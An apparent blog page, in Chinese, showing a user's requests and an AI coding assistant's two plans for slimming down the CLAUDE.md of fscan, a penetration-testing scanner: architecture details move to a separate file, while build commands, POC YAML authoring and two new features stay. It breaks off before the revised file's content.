&lt;p&gt;清理 CLAUDE.md 中关于代码架构描述的部分，将它清理到其他 markdown 文件, 只保留项目后续被使用时需要被关注的设计要点，以及我们新增的两个功能内容，即 -hs 参数和新增的 poc yaml 语法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;精简 CLAUDE.md 并迁移架构文档&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CLAUDE.md 目前包含大量代码架构细节（包结构、并发模型、插件注册等），导致文件冗长，不易快速查阅。用户希望将这些内容迁移至独立文档，让 CLAUDE.md 只保留两类内容：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 后续开发必须关注的设计要点（如 embed 编译注意、插件注册模式、错误处理）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 我们新增的两个功能：search 字段扩展 和 -hs 参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;方案
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;新建文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docs/architecture.md — 迁移以下内容：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 架构总览（主要执行流程）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 包结构（各目录/文件说明）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 插件注册系统（含代码示例）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 并发模型
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 重要扫描模式（-m 参数）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 端口组说明
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; WebScan 模块架构（核心组件、工作流程）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; POC YAML 基础格式
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 关键全局变量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 值得注意的实现细节
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 编译参数详细说明（ldflags、trimpath、build tags、embed）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 常用编译命令组合（包括交叉编译脚本）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;精简后的 CLAUDE.md 结构
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;保留以下内容：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 项目概述（一行简介，不变）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 构建和开发命令（精简）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 只保留最常用的两条命令：开发版和生产版
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 跨平台编译示例仅保留一行说明，指向 architecture.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 保留依赖管理和运行示例（简短）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 保留测试说明
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; 常见开发模式（保留，这是&amp;#34;设计要点&amp;#34;）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 添加新服务插件的步骤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 添加新 POC（含 embed 编译警告）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 错误处理约定
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; 新增功能：search 字段扩展（完整保留）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 说明、YAML 示例、输出格式、实现细节
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; 新增功能：-hs 参数（POC 请求响应保存）（完整保留）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; 安全和授权上下文（保留一句话）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;关键文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; /Users/veno/Projects/fscan/CLAUDE.md — 精简修改
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; /Users/veno/Projects/fscan/docs/architecture.md — 新建，接收迁移内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;执行步骤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 新建 docs/architecture.md，将架构相关内容（执行流程、包结构、插件系统、并发模型、扫描模式、端口组、WebScan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;架构、全局变量、实现细节、详细编译参数）全部迁移进去
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 改写 CLAUDE.md：删除已迁移内容，补充一行 &amp;gt; 详细架构说明见 [&lt;span class="nt"&gt;docs/architecture.md&lt;/span&gt;](&lt;span class="na"&gt;docs/architecture.md&lt;/span&gt;)，保留开发模式、两个新功能、安全上下文
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;验证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 读取改写后的 CLAUDE.md，确认内容简洁、新功能说明完整
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 读取 docs/architecture.md，确认迁移内容完整无遗漏
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;blockquote&gt;
&lt;p&gt;此处需要调整。我们后续不会继续进行开发，因此不需要测试说明，依赖管理，开发模式。fscan 作为渗透工具，跨平台编译示例是关键的，后续使用时需要反复重新构建。需要保留。着重讲清楚如何添加和使用新的 poc yaml，强调 poc yaml 模板会被编译进二进制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;精简 CLAUDE.md 并迁移架构文档&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CLAUDE.md 目前包含大量代码架构细节（包结构、并发模型、插件注册等），导致文件冗长，不易快速查阅。用户希望将这些内容迁移至独立文档，让 CLAUDE.md 只保留两类内容：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 使用该工具时必须关注的要点：跨平台构建命令、POC YAML 的编写与部署（含 embed 编译警告）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 我们新增的两个功能：search 字段扩展 和 -hs 参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;注：后续不再继续开发，因此删除开发模式、依赖管理、测试说明等内容。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;方案
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;新建文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docs/architecture.md — 迁移以下内容：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 架构总览（主要执行流程）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 包结构（各目录/文件说明）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 插件注册系统（含代码示例）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 并发模型
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 重要扫描模式（-m 参数）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 端口组说明
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; WebScan 模块架构（核心组件、工作流程）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 关键全局变量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 值得注意的实现细节
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;精简后的 CLAUDE.md 结构
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 项目概述（一行简介）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 构建（完整保留跨平台编译示例）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 开发版 / 生产版命令
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 跨平台编译：Windows、Linux、macOS（amd64/arm64）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Embed 重要提示：新增或修改 POC 后必须重新编译
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 运行示例（基本扫描、指定端口等）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; POC YAML 使用指南（核心内容）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; POC 存放位置：WebScan/pocs/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 重要：POC 通过 //go:embed 编译进二进制，修改后必须重新编译
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 临时方案：-pocpath &amp;lt;目录&amp;gt; 不需重编译
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 基础 POC YAML 格式示例
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; sets 爆破字典语法示例
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; 新增功能：search 字段扩展（完整保留）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 说明、YAML 示例、输出格式、实现位置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; 新增功能：-hs 参数（POC 请求响应保存）（完整保留）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; 安全和授权上下文（一句话）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;关键文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; /Users/veno/Projects/fscan/CLAUDE.md — 精简修改
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; /Users/veno/Projects/fscan/docs/architecture.md — 新建，接收迁移内容
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;执行步骤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 新建 docs/architecture.md，迁移所有架构细节
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; 改写 CLAUDE.md：删除已迁移内容，聚焦构建、POC 使用、两个新功能
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;验证
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 读取改写后的 CLAUDE.md，确认简洁、POC 使用说明完整、新功能说明完整
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 读取 docs/architecture.md，确认迁移内容完整
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/details&gt;
&lt;details class="details-shortcode"&gt;
&lt;summary&gt;修改后的 CLAUDE.md&lt;/summary&gt;
&lt;div class="details-content"&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
